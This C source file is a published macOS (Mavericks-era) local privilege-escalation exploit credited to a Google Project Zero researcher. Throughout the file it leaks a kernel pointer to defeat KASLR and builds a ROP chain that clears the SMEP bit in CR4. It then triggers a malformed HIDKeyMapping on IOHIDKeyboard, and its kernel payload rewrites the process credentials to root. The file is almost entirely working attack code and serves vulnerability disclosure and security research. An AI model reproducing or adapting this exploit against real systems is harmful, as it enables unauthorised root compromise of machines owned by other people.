//
// Source: https://code.google.com/p/google-security-research/issues/detail?id=126
// Blog Post: http://googleprojectzero.blogspot.com/2014/11/pwn4fun-spring-2014-safari-part-ii.html
// Exploit Author: Ian Beer
// 

// clang -o key_exploit key_exploit.c -framework CoreFoundation -framework IOKit -g -D_FORTIFY_SOURCE=0
// ianbeer
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <sys/mman.h>
#include <sys/stat.h>
#include <unistd.h>

#include <CoreFoundation/CoreFoundation.h>
#include <IOKit/IOKitLib.h>

uint64_t kernel_symbol(char* sym){
  char cmd[1024];
  strcpy(cmd, "nm -g /mach_kernel | grep ");
  strcat(cmd, sym);
  strcat(cmd, " | cut -d' ' -f1");
  FILE* f = popen(cmd, "r");
  char offset_str[17];
  fread(offset_str, 16, 1, f);
  pclose(f);  
  offset_str[16] = '\x00';

  uint64_t offset = strtoull(offset_str, NULL, 16);
  return offset;
}

uint64_t leaked_offset_in_kext(){
  FILE* f = popen("nm -g /System/Library/Extensions/IONDRVSupport.kext/IONDRVSupport | grep __ZTV17IONDRVFramebuffer | cut -d' ' -f1", "r");
  char offset_str[17];
  fread(offset_str, 16, 1, f);
  pclose(f);  
  offset_str[16] = '\x00';

  uint64_t offset = strtoull(offset_str, NULL, 16);
  offset += 0x10; //offset from symbol to leaked pointer
  return offset;
}


uint64_t leak(){
  io_iterator_t iter;
  
  CFTypeRef p = IORegistryEntrySearchCFProperty(IORegistryGetRootEntry(kIOMasterPortDefault),
                                               kIOServicePlane,
                                               CFSTR("AAPL,iokit-ndrv"),
                                               kCFAllocatorDefault,
                                               kIORegistryIterateRecursively);

  if (CFGetTypeID(p) != CFDataGetTypeID()){
    printf("expected CFData\n");
    return 1;
  }

  if (CFDataGetLength(p) != 8){
    printf("expected 8 bytes\n");
    return 1;
  }

  uint64_t leaked = *((uint64_t*)CFDataGetBytePtr(p));
  return leaked;
}

extern CFDictionaryRef OSKextCopyLoadedKextInfo(CFArrayRef, CFArrayRef);

uint64_t load_addr(){
  uint64_t addr = 0;
  CFDictionaryRef kd = OSKextCopyLoadedKextInfo(NULL, NULL);
  CFIndex count = CFDictionaryGetCount(kd);
  
  void **keys;
  void **values;
  
  keys = (void **)malloc(sizeof(void *) * count);
  values = (void **)malloc(sizeof(void *) * count);
  
  CFDictionaryGetKeysAndValues(kd,
                               (const void **)keys,
                               (const void **)values);

  for(CFIndex i = 0; i < count; i++){
    const char *name = CFStringGetCStringPtr(CFDictionaryGetValue(values[i], CFSTR("CFBundleIdentifier")), kCFStringEncodingMacRoman);
    if (strcmp(name, "com.apple.iokit.IONDRVSupport") == 0){
      CFNumberGetValue(CFDictionaryGetValue(values[i],
                       CFSTR("OSBundleLoadAddress")),
                       kCFNumberSInt64Type,
                       &addr);
      printf("%s: %p\n", name, addr);
      break;
    }
  }
  return addr;
}

uint64_t* build_vtable(uint64_t kaslr_slide, uint64_t payload, size_t* len){
  uint64_t pivot, mov_rax_cr4, mov_cr4_rax, pop_rcx, xor_rax_rcx, pop_pop_ret;

  uint64_t kernel_base = 0xffffff8000200000;
  kernel_base += kaslr_slide;
    
  int fd = open("/mach_kernel", O_RDONLY);
  if (!fd)
    return NULL;

  struct stat _stat;
  fstat(fd, &_stat);
  size_t buf_len = _stat.st_size;

  uint8_t* buf = mmap(NULL, buf_len, PROT_READ, MAP_FILE|MAP_PRIVATE, fd, 0);

  if (!buf)
    return NULL;

  /*
  this stack pivot to rax seems to be reliably present across mavericks versions:
    push rax
    add [rax], eax
    add [rbx+0x41], bl
    pop rsp
    pop r14
    pop r15
    pop rbp
    ret
  */
  uint8_t pivot_gadget_bytes[] = {0x50, 0x01, 0x00, 0x00, 0x5b, 0x41, 0x5c, 0x41, 0x5e};
  uint8_t* pivot_loc = memmem(buf, buf_len, pivot_gadget_bytes, sizeof(pivot_gadget_bytes));
  uint64_t pivot_gadget_offset = (uint64_t)(pivot_loc - buf);
  printf("offset of pivot gadget: %p\n", pivot_gadget_offset);
  pivot = kernel_base + pivot_gadget_offset;

  /*
    mov rax, cr4
    mov [rcx], rax
    pop rbp
    ret
  */
  uint8_t mov_rax_cr4_gadget_bytes[] = {0x0f, 0x20, 0xe0, 0x48, 0x89, 0x01, 0x5d, 0xc3};
  uint8_t* mov_rax_cr4_loc = memmem(buf, buf_len, mov_rax_cr4_gadget_bytes, sizeof(mov_rax_cr4_gadget_bytes));
  uint64_t mov_rax_cr4_gadget_offset = (uint64_t)(mov_rax_cr4_loc - buf);
  printf("offset of mov_rax_cr4 gadget: %p\n", mov_rax_cr4_gadget_offset);
  mov_rax_cr4 = kernel_base + mov_rax_cr4_gadget_offset;

  /*
    mov cr4, rax
    pop rbp
    ret
  */
  uint8_t mov_cr4_rax_gadget_bytes[] = {0x0f, 0x22, 0xe0, 0x5d, 0xc3};
  uint8_t* mov_cr4_rax_loc = memmem(buf, buf_len, mov_cr4_rax_gadget_bytes, sizeof(mov_cr4_rax_gadget_bytes));
  uint64_t mov_cr4_rax_gadget_offset = (uint64_t)(mov_cr4_rax_loc - buf);
  printf("offset of mov_cr4_rax gadget: %p\n", mov_cr4_rax_gadget_offset);
  mov_cr4_rax = kernel_base + mov_cr4_rax_gadget_offset;
  
  /*
    pop rcx
    ret
  */
  uint8_t pop_rcx_gadget_bytes[] = {0x59, 0xc3};
  uint8_t* pop_rcx_loc = memmem(buf, buf_len, pop_rcx_gadget_bytes, sizeof(pop_rcx_gadget_bytes));
  uint64_t pop_rcx_gadget_offset = (uint64_t)(pop_rcx_loc - buf);
  printf("offset of pop_rcx gadget: %p\n", pop_rcx_gadget_offset);
  pop_rcx = kernel_base + pop_rcx_gadget_offset;


  /*
    xor rax, rcx
    pop rbp
    ret
  */
  uint8_t xor_rax_rcx_gadget_bytes[] = {0x48, 0x31, 0xc8, 0x5d, 0xc3};
  uint8_t* xor_rax_rcx_loc = memmem(buf, buf_len, xor_rax_rcx_gadget_bytes, sizeof(xor_rax_rcx_gadget_bytes));
  uint64_t xor_rax_rcx_gadget_offset = (uint64_t)(xor_rax_rcx_loc - buf);
  printf("offset of xor_rax_rcx gadget: %p\n", xor_rax_rcx_gadget_offset);
  xor_rax_rcx = kernel_base + xor_rax_rcx_gadget_offset;

  /*  need this to jump over the vtable index which will be called:
    pop r15
    pop rbp
    ret
  */
  uint8_t pop_pop_ret_gadget_bytes[] = {0x41, 0x5f, 0x5d, 0xc3};
  uint8_t* pop_pop_ret_loc = memmem(buf, buf_len, pop_pop_ret_gadget_bytes, sizeof(pop_pop_ret_gadget_bytes));
  uint64_t pop_pop_ret_gadget_offset = (uint64_t)(pop_pop_ret_loc - buf);
  printf("offset of pop_pop_ret gadget: %p\n", pop_pop_ret_gadget_offset);
  pop_pop_ret = kernel_base + pop_pop_ret_gadget_offset;

  munmap(buf, buf_len);
  close(fd);

  void* writable_scratch = malloc(8);
  memset(writable_scratch, 0, 8);

  uint64_t rop_stack[] = {
    0,                //pop r14
    0,                //pop r15  
    0,                //pop rbp  +10
    pop_pop_ret,
    0,                //+20
    pivot,            //+28
    pop_rcx,
    (uint64_t)writable_scratch,
    mov_rax_cr4,
    0,                //pop rbp
    pop_rcx,
    0x00100000,       //SMEP bit in cr4
    xor_rax_rcx,      //flip it
    0,                //pop rbp
    mov_cr4_rax,      //write back to cr4
    0,                //pop rbp
    payload           //SMEP is now disabled so ret to payload in userspace
  };

  uint64_t* r = malloc(sizeof(rop_stack));
  memcpy(r, rop_stack, sizeof(rop_stack));
  *len = sizeof(rop_stack);
  return r;
}

void (*IOLockUnlock) (void*);
int (*KUNCExecute)(char*, int, int);
void (*thread_exception_return)();
void* (*proc_ucred)(void*);
void* (*kauth_cred_get)();
void* (*kauth_cred_setuidgid)(void*, int, int);
void* (*current_proc)();

void rebase_kernel_payload(uint64_t kaslr_slide){
  IOLockUnlock = kernel_symbol("_lck_mtx_unlock") + kaslr_slide;
  KUNCExecute = kernel_symbol("_KUNCExecute") + kaslr_slide;
  thread_exception_return = kernel_symbol("_thread_exception_return") + kaslr_slide;
  proc_ucred = kernel_symbol("_proc_ucred") + kaslr_slide;
  kauth_cred_get = kernel_symbol("_kauth_cred_get") + kaslr_slide;
  kauth_cred_setuidgid = kernel_symbol("_kauth_cred_setuidgid") + kaslr_slide;
  current_proc = kernel_symbol("_current_proc") + kaslr_slide;
}

// rather than working out the offset of p_ucred in the proc structure just get
// the code to tell us :)
// proc_ucred just does return arg->u_cred
uint64_t find_ucred_offset(){
  uint64_t offsets[0x80];
  for (int i = 0; i < 0x80; i++){
    offsets[i] = i*8;
  }
  return proc_ucred(offsets);
}

// need to drop this IOLock:
//     IOLockLock( _deviceLock);
// at code exec time rbx points to this, and this->_delegate->deviceLock is that lock
// so need to call IOLockUnlock(rbx->_delegate->deviceLock)
void kernel_payload(){
  uint8_t* this;
  //__asm__("int $3");
  __asm__("movq %%rbx, %0" : "=r"(this) : :);
  //this now points to the IOHIKeyboardMapper
  uint8_t* IOHIKeyboard = *((uint8_t**)(this+0x10));
  void* _device_lock = *((void**)(IOHIKeyboard+0x88));
  IOLockUnlock(_device_lock);

  // real kernel payload goes here:
  //KUNCExecute("/Applications/Calculator.app/Contents/MacOS/Calculator", 0, 0);
  //thread_exception_return();

  // get root:
  uint64_t ucred_offset = find_ucred_offset();
  void* old_cred = kauth_cred_get();
  void* new_cred = kauth_cred_setuidgid(old_cred, 0, 0);
  uint8_t* proc = current_proc();
  *((void**)(proc+ucred_offset)) = new_cred;
  thread_exception_return();
}

void trigger(void* vtable, size_t vtable_len, char* exe){
  kern_return_t err;

  CFMutableDictionaryRef matching = IOServiceMatching("IOHIDKeyboard");
  if(!matching){
    printf("unable to create service matching dictionary\n");
    return;
  }

  io_iterator_t iterator;
  err = IOServiceGetMatchingServices(kIOMasterPortDefault, matching, &iterator);
  if (err != KERN_SUCCESS){
    printf("no matches\n");
    return;
  }

  io_service_t service = IOIteratorNext(iterator);

  if (service == IO_OBJECT_NULL){
    printf("unable to find service\n");
    return;
  }
  printf("got service: %x\n", service);

  char* bad_mapping = malloc(0x10000);
  memset(bad_mapping, 0, 0x10000);

  uint8_t bad_header[] = {
    0x00, 0x01, // nmd.shorts = 1
    0x00, 0x00, // numMods = 0
    0x00, 0x00, // numDefs = 0
    0x00, 0x90, // numSeqs = 0x90
  };

  memcpy(bad_mapping, bad_header, sizeof(bad_header));

  uint8_t bad_seq[] = {
    0x00, 0x02, // len
    0x00, 0x78, 0x56, 0x00, // first entry
    0x00, 0x00, 0x00, 0x00, // second entry
    0xff, 0xff, // numMods
  };

  memcpy(bad_mapping + sizeof(bad_header) + 0x8f*2, bad_seq, sizeof(bad_seq));

  //need to overallocate and touch the pages since this will be the stack:
  mach_vm_address_t addr = 0x0000005678000000 - 10 * 0x1000;
  mach_vm_allocate(mach_task_self(), &addr, 0x20*0x1000, 0);

  memset(addr, 0, 0x20*0x1000);

  memcpy((void*)0x5678000200, vtable, vtable_len);
  /*
  uint64_t* vtable_entry  = (uint64_t*)(0x0000005678000200 + 0x28);
  *vtable_entry = 0x123456789abcdef0; // call this address in ring0
  */


  CFDataRef data = CFDataCreate(NULL, bad_mapping, 0x10000);

  err = IORegistryEntrySetCFProperty(
    service,
    CFSTR("HIDKeyMapping"),
    data);

  execve(exe, NULL, NULL);
}

int main(int argc, char** argv) {
  if (argc < 2) { printf("Usage: ./%s [payload_exe]\n", argv[0]); exit(1); } 

  uint64_t leaked_ptr = leak();
  uint64_t kext_load_addr = load_addr();

  // get the offset of that pointer in the kext:
  uint64_t offset = leaked_offset_in_kext(); //0x8cf0;

  // sanity check the leaked address against the symbol addr:
  if ( (leaked_ptr & 0xfff) != (offset & 0xfff) ){
    printf("the leaked pointer doesn't match up with the expected symbol offset\n");
    return 1;
  }
  
  uint64_t kaslr_slide = (leaked_ptr - offset) - kext_load_addr;
  
  printf("kaslr slide: %p\n", kaslr_slide);
  
  rebase_kernel_payload(kaslr_slide);

  size_t vtable_len = 0;
  void* vtable = build_vtable(kaslr_slide, kernel_payload, &vtable_len);

  trigger(vtable, vtable_len, argv[1]);

  return 0;                            
}